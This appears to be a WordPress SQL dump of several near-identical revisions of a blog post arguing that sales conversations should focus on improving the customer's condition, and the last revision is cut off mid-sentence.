(2604, 2, '2014-06-13 11:02:43', '2014-06-13 18:02:43', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to create a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\n&nbsp;\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\n&nbsp;\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\n&nbsp;\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n&nbsp;\r\n\r\nBring more to the table.\r\n\r\n&nbsp;\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\n&nbsp;\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\n&nbsp;\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-3', '', '', '2014-06-13 11:02:43', '2014-06-13 18:02:43', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-3/', 0, 'revision', '', 0),
(2605, 2, '2014-06-13 11:04:45', '2014-06-13 18:04:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\n&nbsp;\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\n&nbsp;\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\n&nbsp;\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n&nbsp;\r\n\r\nBring more to the table.\r\n\r\n&nbsp;\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\n&nbsp;\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\n&nbsp;\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-4', '', '', '2014-06-13 11:04:45', '2014-06-13 18:04:45', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-4/', 0, 'revision', '', 0),
(2606, 2, '2014-06-13 11:04:48', '2014-06-13 18:04:48', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\n&nbsp;\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\n&nbsp;\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\n&nbsp;\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n&nbsp;\r\n\r\nBring more to the table.\r\n\r\n&nbsp;\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\n&nbsp;\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\n&nbsp;\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-5', '', '', '2014-06-13 11:04:48', '2014-06-13 18:04:48', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-5/', 0, 'revision', '', 0),
(2607, 2, '2014-06-13 11:06:02', '2014-06-13 18:06:02', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\n&nbsp;\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\n&nbsp;\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\n&nbsp;\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n&nbsp;\r\n\r\nBring more to the table.\r\n\r\n&nbsp;\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\n&nbsp;\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\n&nbsp;\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-6', '', '', '2014-06-13 11:06:02', '2014-06-13 18:06:02', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-6/', 0, 'revision', '', 0);
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(2608, 2, '2014-06-13 11:06:07', '2014-06-13 18:06:07', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\n&nbsp;\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\n&nbsp;\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\n&nbsp;\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n&nbsp;\r\n\r\nBring more to the table.\r\n\r\n&nbsp;\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\n&nbsp;\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\n&nbsp;\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-7', '', '', '2014-06-13 11:06:07', '2014-06-13 18:06:07', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-7/', 0, 'revision', '', 0),
(2611, 2, '2014-06-13 11:10:33', '2014-06-13 18:10:33', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n<strong>Bring more to the table.</strong>\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-10', '', '', '2014-06-13 11:10:33', '2014-06-13 18:10:33', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-10/', 0, 'revision', '', 0),
(2609, 2, '2014-06-13 11:08:26', '2014-06-13 18:08:26', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n<strong>Bring more to the table.</strong>\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center.</em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-8', '', '', '2014-06-13 11:08:26', '2014-06-13 18:08:26', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-8/', 0, 'revision', '', 0),
(2610, 2, '2014-06-13 11:08:29', '2014-06-13 18:08:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n<strong>Bring more to the table.</strong>\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center.</em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-9', '', '', '2014-06-13 11:08:29', '2014-06-13 18:08:29', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-9/', 0, 'revision', '', 0),
(2612, 2, '2014-06-13 11:10:36', '2014-06-13 18:10:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs 